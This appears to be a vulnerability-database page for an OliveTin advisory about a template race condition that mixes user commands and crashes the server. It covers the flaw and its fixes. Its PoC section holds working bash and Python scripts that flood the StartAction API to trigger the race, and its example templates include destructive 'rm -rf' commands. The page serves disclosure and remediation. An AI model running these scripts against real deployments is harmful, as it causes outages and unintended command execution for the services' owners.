GHSA-7fq5-7wr8-rjwj CVE-2026-48708 GO-2026-5216
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 34.44% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
- CWE-567 Unsynchronized Access to Shared Data in a Multithreaded Context
- Fix
0.0.0-20260521225117-d74da9314005- Upgrade github.com/OliveTin/OliveTin to this version or later
Description
Summary
OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:
- Cross-user command contamination: User A's arguments rendered in User B's shell command template
- Go runtime panic: Concurrent map writes in Go's
text/templateinternal structures cause a fatal crash - Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands
CWE
- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)
Affected Versions
- All versions (the shared template has existed since the template system was introduced)
Details
The Shared Template Instance
In service/internal/tpl/templates.go:
var tpl = template.New("tpl").
Option("missingkey=error").
Funcs(template.FuncMap{"Json": jsonFunc})
This is a package-level variable — a single *template.Template shared across the entire process.
Unsafe Parse + Execute Pattern
The parseTemplate function is called for every template rendering:
func parseTemplate(source string, data any) (string, error) {
t, err := tpl.Parse(source) // Modifies shared tpl's internal Tree
if err != nil {
return "", err
}
var sb strings.Builder
err = t.Execute(&sb, data) // Reads from tpl's internal Tree
// ...
}
Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:
Goroutine A (Action "echo {{ .Arguments.name }}"):
1. tpl.Parse("echo {{ .Arguments.name }}") → sets tpl.Tree = TreeA
2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA
Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
1. tpl.Parse("rm -rf {{ .Arguments.path }}") → sets tpl.Tree = TreeB
2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB
If the goroutines interleave:
A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!
Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA — which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.
No Synchronization Exists
A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:
$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)
Concurrent Goroutine Confirmation
In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:
func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
// ...
go func() {
e.execChain(req) // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
defer wg.Done()
}()
return wg, req.TrackingID
}
The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.
Go Runtime Crash Vector
Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:
fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)
This is not a panic that can be recovered — it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.
Template Contamination Vector
Even without a crash, the race can produce dangerous results:
- User A triggers action:
shell: "echo Hello {{ .Arguments.name }}"withname=Alice - User B triggers action:
shell: "sudo systemctl restart {{ .Arguments.service }}"withservice=nginx - Race occurs: User A's
Executeruns on User B's parsed template - If User A's arguments contain a
servicekey, that value is substituted intosudo systemctl restart {{ .Arguments.service }} - If User A's arguments do NOT contain
service,missingkey=errorcauses an error — but only AFTER the template was already partially evaluated
Call Chain
API Request → ExecRequest (goroutine) → execChain → stepParseArgs
→ ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
↑ RACE CONDITION ↑
(shared tpl variable)
PoC
Prerequisites
- OliveTin instance with at least 2 configured actions
- Ability to trigger concurrent action executions
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Safe Echo
id: safe-echo
shell: "echo 'Hello {{ .Arguments.name }}'"
arguments:
- name: name
type: ascii
- title: File Delete
id: file-delete
shell: "rm -f /tmp/{{ .Arguments.target }}"
arguments:
- name: target
type: ascii_identifier
Step 1: Trigger concurrent executions
#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"
Step 2: Check for crash
# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)
Step 3: Check logs for contamination
# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log
Python PoC — Race Trigger
#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination
Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.
Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""
import requests
import threading
import time
TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100
crash_detected = threading.Event()
errors_detected = []
def fire_action_a():
"""Trigger 'safe-echo' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "safe-echo",
"arguments": [{"name": "name", "value": "Alice"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action A exception: {e}")
def fire_action_b():
"""Trigger 'file-delete' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "file-delete",
"arguments": [{"name": "target", "value": "test"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action B exception: {e}")
if __name__ == "__main__":
print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
print(f"[*] Target: {TARGET}")
threads = []
for _ in range(THREADS):
threads.append(threading.Thread(target=fire_action_a))
threads.append(threading.Thread(target=fire_action_b))
start = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
elapsed = time.time() - start
print(f"\n[*] Completed in {elapsed:.1f}s")
print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")
if crash_detected.is_set():
print("[!] SERVER CRASH DETECTED — concurrent map write panic")
if errors_detected:
print(f"[!] {len(errors_detected)} errors detected:")
for err in errors_detected[:10]:
print(f" - {err}")
else:
print("[*] No errors detected (race window may not have been hit)")
print("[*] Try increasing THREADS/ITERATIONS or checking server logs")
Go Race Detector Verification
If you can run OliveTin with Go's race detector enabled:
cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race
Expected output:
WARNING: DATA RACE
Write by goroutine X:
text/template.(*Template).Parse()
service/internal/tpl/templates.go:XX
Previous read by goroutine Y:
text/template.(*Template).Execute()
service/internal/tpl/templates.go:XX
Impact
- Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable
fatal error, crashing the entire OliveTin service - Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
- Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
- Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output
Remediation
-
Create a new template per parse call instead of reusing the package-level singleton:
func parseTemplate(source string, data any) (string, error) { t, err := template.New(""). Option("missingkey=error"). Funcs(template.FuncMap{"Json": jsonFunc}). Parse(source) if err != nil { return "", err } var sb strings.Builder err = t.Execute(&sb, data) // ... } -
Alternative: Use
template.Must(tpl.Clone())to create a thread-safe copy per call:func parseTemplate(source string, data any) (string, error) { clone, _ := tpl.Clone() t, err := clone.Parse(source) // ... } -
Alternative: Add a mutex around
parseTemplate(but this serializes all template rendering and hurts performance):var tplMutex sync.Mutex func parseTemplate(source string, data any) (string, error) { tplMutex.Lock() defer tplMutex.Unlock() // ... }Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.
Resources
- Go
text/templatedocumentation: "A Template's Parse method must not be called concurrently" - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
service/internal/tpl/templates.go— sharedtplvariable andparseTemplatefunctionservice/internal/executor/executor.go—ExecRequestgoroutine launch (line ~524)
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/OliveTin/OliveTin | < 0.0.0-20260521225117-d74da9314005 |
0.0.0-20260521225117-d74da9314005 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/OliveTin/OliveTin Go → 0.0.0-20260521225117-d74da9314005
- go
go get github.com/OliveTin/OliveTin@v0.0.0-20260521225117-d74da9314005 && go mod tidy
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
How to prevent it
- Architecture and Design: In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
- Architecture and Design: Use thread-safe capabilities such as the data access abstraction in Spring.
- Architecture and Design: Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
- Implementation: When using multithreading and operating on shared variables, only use thread-safe functions.
- Implementation: Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
- Implementation: Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
- Implementation: Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
- Implementation: Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
- Implementation: Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
How to prevent it
- Implementation: Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-jm28-2wcr-qf3h OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xc5w-4v5w-7x65 OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xpxj-f2fm-rqch OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) | High | Also affects github.com/OliveTin/OliveTin |
| GHSA-prj9-97mp-mwh2 OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-f637-w7p2-m7fx OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration | Low | Also affects github.com/OliveTin/OliveTin |
| GHSA-xx6g-43w2-9g6g OliveTin's email argument makes compliance harder, enables log injection | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-228v-wc5r-j8m7 OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-364q-w7vh-vhpc OliveTin's unsafe parsing of UniqueTrackingId can be used to write files | High | Also affects github.com/OliveTin/OliveTin |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor